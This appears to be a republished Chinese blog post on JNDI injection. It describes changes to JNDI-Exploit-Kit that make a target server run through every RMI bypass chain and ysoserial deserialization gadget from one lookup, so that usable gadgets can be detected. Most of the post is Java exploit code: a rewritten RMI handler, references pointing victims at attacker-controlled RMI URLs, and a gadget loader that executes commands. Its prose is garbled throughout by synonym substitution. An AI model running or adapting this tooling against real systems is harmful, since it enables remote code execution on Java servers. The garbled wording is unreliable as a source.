author:藏青@雁行平安团队
最近学习了浅蓝
师傅寻觅的一些JNDI破绽的应用链收获颇丰,本人也尝试关于JNDI破绽应用做一些发掘,目前JNDI在应用过程我想到了两个问题。
- 测试每一个JNDI Bypass 应用链都需求手动更改URL很不便当,能否我去恳求一个地址,让目的将我一切的链跑一遍?
- JNDI应用过程中能够经过反序列化应用,能否自动化探测反序列化应用链?
自动测试Bypass 应用链
为了让这种方式愈加通用,我们首先思索的是JDK原生的完成ObjectFactory
的类,那么我留意到了下面几个类。
- com.sun.jndi.rmi.registry.RegistryContextFactory
- com.sun.jndi.ldap.LdapCtxFactory
RegistryContextFactory
调用剖析
经过getURLs
从Reference获取url列表并封装为数组,URLsToObject
中对数组中的URL列表发起RMI
恳求,所以RegistryContextFactory满足我们的需求。
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
//判别能否为援用对象并且factoryClassname为RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//从援用对象中获取URL列表并循环发起调用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
- getURLs获取URL必需满足RefAddr是StringRefAddr类型且Type属性为URL才会保管。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//从RefAddr中获取url并保管到数组中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只要RefAddr是StringRefAddr类型,且Type属性为URL才会保管
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL数组
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}
- URLsToObject中创立
rmiURLContextFactory
对象并调用getObjectInstance
。getObjectInstance
中判别传入的object类型假如是数组则调用getUsingURLs
.
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
}
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//数组类型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
- getUsingURLs创立
rmiURLContext
并循环调用lookup发起RMI调用直到获取一个对象并返回。
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}
应用剖析
经过RegistryContextFactory
应用只能运用rmi
协议发起恳求,所以目前只能用这种方式检测rmi相关的应用,在Orange
师傅的JNDI-
工具中集成了一局部关于RMI的应用链,其中也包含了
Exploit-
KitTomcat
和GROOVY
的bypass,当然Groovy的执行也依赖Tomcat。工具运转后会生成一些RMI的URL,我们能够将RegistryContextFactory
也加到应用链中。
在RMIRefServer
中包含了RMI处置的逻辑,因而能够把RegistryContextFactory
援用也注册进去。
/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保管了随机生成的rmi称号和应用方式的关系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//假如是RegistryContextFactory则跳过,否则会形成递归查询
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}
RMIRefServer#handleRMI
中会依据恳求的url找到对应的处置办法生成援用对象并返回,所以我们只需将我们结构的execAll
办法也参加到if判别中即可。
private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//获取rmi恳求的对象称号,这里是随机生成的额称号
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//依据取出的称号从Mapper.references中取出应用方式对应的称号
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//创立ReferenceWrapper包装类
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 依据称号不同调用不同的办法得到对应的援用对象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//将我们的结构的execAll办法加到判别中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}
由于util.Mapper#references
中包含了援用关系,所以这里也需求做下更改。
static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}
当然我们也能够把之前剖析的一些应用链也加进去,但是这并不是我们本片文章的重点,就不剖析了。添加并启动后,能够看到我们我们添加的应用链地址。
在tomcat中恳求我们创立的registry
会将一切的应用链跑一遍,假如应用失败则会招致异常进入下一个应用链,直到跑胜利获取对象并返回。
我们也能够从server端停止考证,由于我这里运用的tomcat8所以跑到el表达式后应用胜利并返回。
栈溢出
突然想到假如我们在援用中的地址也是RegistryContextFactory
那不就会招致递归的lookup查询,能否会产生什么问题。效劳端代码如下:
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
经过测试递归查询会触发tomcat的栈溢出异常,但是并不会对程序的运用产生影响。
LdapCtxFactory
LdapCtxFactory
和RegistryContextFactory
相对应,详细的过程不剖析了,最终是经过LdapCtxFactory#getUsingURL
来执行,但是只会获取到DirContext
并没有调用Lookup办法,所以似乎不能应用。
private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext对象
return (DirContext)var2;
}
自动测试反序列化应用链
经过对问题一的剖析,我们如今只能应用RMI
协议来辅佐我们一次性发起多个RMI调用,目前的大多数工具都是基于Ldap来停止反序列化应用的,不过在RMI中也能够经过反序列化应用。
首先我们要应用的场景是去经过RMI攻击客户端,所以能够应用ysoserial#JRMPListener
模块来应用,它构建了一个JRMP
监听,当客户端发起恳求时会构建一个异常对象BadAttributeValueExpException
,并在这个异常对象的val
属性中放入我们要结构好的歹意对象。
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//写入异常标识
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//构建BadAttributeValueExpException异常对象,并在val属性中参加歹意对象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);
当客户端发起恳求时,会在StreamRemoteCall#executeCall
中经过判别returnType
能否为TransportConstants#ExceptionalReturn
来决议能否反序列化,也就是只要返回呈现异常时才会对异常对象停止反序列化。
switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//当返回类型为ExceptionalReturn则停止反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
但是由于我们构建了一个异常对象,在执行过程中会抛出异常。而我们在剖析RegistryContextFactory
时说过,只要当返回正常时才会中止,返回异常会继续恳求其他的RMI地址,所以假如这样应用,只能把一切的反序列化应用链Fuzz一遍,我们并不晓得哪个应用链可用。
失败尝试一
剖析在StreamRemoteCall#executeCall
的应用过程我发现,只需设置了TransportConstants#ExceptionalReturn
都会停止反序列化,假如我们仅仅设置了这个字段,但是传入的是只是我们的歹意对象,能否绕过此处的报错?所以我对JRMPListener做了如下更改。
但是在反序列化完毕后会判别我们传入的能否为异常对象,假如不是也会抛异常。
失败尝试二
继续剖析发现RegistryImpl_Stub#lookup
中也会停止反序列化,但是会将反序列化的结果转成Remote类型,假如我们返回的不是Remote的完成类也会招致异常。
应用剖析
固然我们不能直接经过能否继续恳求来判别应用链存在,但是还是能够经过DNSLog的方式停止判别。我们能够在每次恳求后获取DNSLog的结果,假如有返回值则代表应用链可用。
但是在编写好代码测试时惊喜的发现,在应用失败捕获异常时只会捕获NamingException
类型的异常。
假如应用链没找到,会抛出CommunicationException
异常,而这个异常是NamingException
的子类,因而会被捕获
假如应用胜利,抛出的是其他类型的异常,则不会被捕获。
但是这里还有一个问题,有些应用类存在,但是由于JDK版本或者其他问题招致不能应用,比方CC1
,这个时分也会抛出其他异常,但是并不能触发破绽,所以在自动化探测的时分要将这些类去除掉。
大约测了下在CC链中CC1
,CC3
,CC7
都不能运用。CC1
和CC3
都是由于JDK版本过高无法运用能够了解,但是在CC7
中明明能够执行胜利但是还是会返回CommunicationException
异常。
其他的应用链也先不测试了,这里只大致说下思绪。经过这种完成曾经能够到达自动化探测局部应用链了。最终我们效劳端恳求中最后一个恳求的gadget
就是存在的应用链。
代码完成主要是在JNDI-Exploit-Kit
根底上做了一点点小改良,主要是在if判别中继续加上了execAllGadgat
办法。
在execAllGadgat
办法中遍历曾经添加的应用链并添加到援用对象中。
public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}
由于我们的Payload并没有在references
中添加,因而从Map中会获取不到,所以我这里加了一个判别,当object以ser开头,则表示是经过反序列化应用,给reference
赋值。
最后再加上一个援用判别,假如以serial
开头则取出调用链称号获取歹意对象直接写入。
public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}
总结
固然这次的小发现关于JNDI破绽的应用来说可能有些弄巧成拙,经过这几天的研讨也发现了本人对RMI恳求了解上的缺乏,最后对这种应用方式做一个总结。
- 由于我们要传入一个ObjectFactory类名,所以需求一个Reference对象,但是JDK自带的只要
LinkRef
,不能传送ObjectFactory的类名,所以这里还是运用了tomcat中的ResourceRef
,所以还是有些依赖Tomcat。 -
由于
LdapCtxFactory
最终没有调用Lookup办法,因而目前只能经过RMI协议来停止自动化检测 -
由于
CC1
,CC3
,CC7
无法经过返回的异常类型判别能否存在,所以不能检测这几条链。目前我只测了CC链,其他类型的应用链能否有异常未测试
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者